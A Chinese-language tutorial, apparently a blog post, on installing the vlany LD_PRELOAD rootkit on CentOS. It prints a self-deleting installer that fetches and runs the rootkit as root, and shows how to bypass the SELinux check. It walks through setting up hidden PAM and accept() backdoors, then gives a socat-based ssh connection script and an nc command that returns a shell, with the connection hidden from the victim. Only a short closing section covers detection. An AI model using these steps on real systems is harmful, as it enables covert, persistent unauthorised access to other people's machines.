Linux动态链接库预加载型后门,Vlany安装及分析

此工具vlany通过LD_PRELOAD环境变量和/etc/ld.so.preload的配置文件来重写系统调用函数,加载攻击者自定义的恶意函数。

0x00 工具原理分析

预加载动态连接库这种利用技术,在早些年国外就已经有过利用相关的文章。只是近年国内恶意软件利用频繁被各大安全厂商捕获分析,也就渐渐公布在大众眼前。对于这种利用的大概原理,已有文章做了深入分析,这里就不重复造轮。文章地址:警惕利用Linux预加载型恶意动态链接库的后门


0x01 下载项目

实验环境
CentOS-6.9 内核:2.6.32-696.el6.x86_64 架构:x86_64
Kali-2018 内核:4.17.0-kali1-amd64 架构:x86_64 #不支持


编辑文件quick_install.sh

后门安装脚本项目地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; }
WORKING_DIR="/tmp/.$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
ARCHIVE_NAME="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1).tar.gz"
mkdir $WORKING_DIR && cd $WORKING_DIR
wget https://github.com/mempodippy/vlany/archive/master.tar.gz -O $ARCHIVE_NAME
tar xvpfz $ARCHIVE_NAME && rm $ARCHIVE_NAME
cd vlany-master
chmod +x install.sh
./install.sh
rm -rf $WORKING_DIR
#下载完后删除项目
rm -f $0
#执行后删除自身脚本

0x02 编译安装

quick_install.sh下载项目后解压调用install.sh脚本,首先会检测SElinux是否关闭如果没关闭,脚本会关闭SElinux。此时需要重启机器。

实际应用中,如果不想重启机器,可以单独下载项目执行命令
wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz && cd vlany-master
重新建立终端,然后输入setenforce 0,再更改install.sh脚本

install.sh
20
21
22
23
24
25
if [[ $(sestatus -v | head -n 1) == *"enabled"* ]]; then
echo "SELinux is still enabled. Reboot."
exit # 注释此行
else
echo "SELinux is disabled."
fi

检验完SElinux,程序出现提示框选在grub配置位置,来确认当机器重启后 后门依然生效。根据机器实际情况填写,默认/etc/grub.conf

Enter location of bootloader config file (if grub2, config file is /boot/grub/grub.cfg) [/etc/grub.conf]:

然后一路回车,等待gcc等依赖安装完成,出现如下界面。选择是编译并安装,还是只编译,我们这里选在YES

vlany-01

1. 配置PAM后门

再一路回车,到如下界面。设置通过ssh连接的PAM用户名,记住此后门用户名

vlany-02

然后设置PAM密码,这里输入密码不会回显任何东西,继续输入就ok

vlany-03

设置PAM端口,也是需要隐藏的端口

vlany-04

2. 配置accept()后门

设置连接是否使用SSL加密,这测试选择NO

vlany-05

设置accept()后门密码,一样没有回显。

vlany-06

设置accept()后门隐藏端口

vlany-07

设置execve()密码,然后再再再一路回车,出现如下界面,是否删除编译项目的路径。

vlany-08

完成后,脚本会提示是否安装作者新研究的snodew后门这里选择NO

1
Installation has finished. Would you like to setup the experimental snodew root reverse shell backdoor? (YES/NO) (case-sensitive) [YES]:

3. 连接信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#ssh连接PAM用户名
PAM backdoor username: k10nf
#PAM端口
Hidden PAM port: 4397
#accept后门随机端口号
accept backdoor low port: 271
accept backdoor high port: 274
#后门位置
Hidden directory: /lib/libc.so.k10nf.14
#变量
Environment variable: UVRTBKAYCLWI

全部配置完成后,会呈现出如上连接信息


0x03 连接后门

1. PAM后门连接

ssh.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
# Small bash script designed to allow easy connection to hidden PAM backdoors.
# Gets copied to your hidden directory in case you want to route through more
# than one rooted box. :)
usage () { echo "$0 <PAM backdoor username> <host> <hidden PAM port>"; exit; }
[ -z $1 ] && { usage; }
[ -z $2 ] && { usage; }
[ -z $3 ] && { usage; }
[ ! -f /usr/bin/socat ] && { echo "socat isn't installed. exiting."; exit; }
echo "Connecting to PAM backdoor @ host $2 on hidden PAM port $3 as $1"
read -p "Press enter to continue"
ssh -o ProxyCommand="socat - tcp4-connect:$2:22,bind=:$3" $2 -l "$1"

使用其他机器连接后门,编辑文件ssh.sh

1
sh ssh.sh k10nf 192.168.10.35 4397

连接成功

vlany-09

在被攻击端查看是否有异常连接,完全隐藏没有显示出任何连接信息,并且查看/etc/passwd文件,没有我们所使用的k10nf用户

vlany-10

注意:如果不使用ssh.sh脚本连接pam后门,直接使用ssh连接。被攻击端会查看到ssh连接信息

2. accept()后门连接

1
2
3
4
5
6
7
#accept backdoor low port: 271
#accept backdoor high port: 274
# -p 指定 271-274 范围内端口
nc 192.168.10.35 22 -p 271
#输入设定的accept密码后回车
k10nf
[+] shell dropped

accept()后门在实际测试中没有成功,由于内核版本等问题。


0x04 检测

1
git clone https://github.com/mempodippy/detect_preload.git && cd detect_preload && ./detect_preload

执行以上小程序查看输出

1
2
3
4
5
6
7
[+] finished basic checks
0x7f0144ca2000 /lib64/libdl.so.2
0x7f014490a000 /lib64/libc.so.6
0x7f01446ca000 /lib64/libcrypt.so.1
(nil) /lib64/ld-linux-x86-64.so.2
0x7f01444c2000 /lib64/libfreebl3.so

此程序获取动态连接库信息,ld-linux-x86-64.so.2 无法获取,存在后门。此rookit清理只能替换被修改的恶意动态链接库

参考:
vlany_readme_file
系统函数
vlany_wiki

👿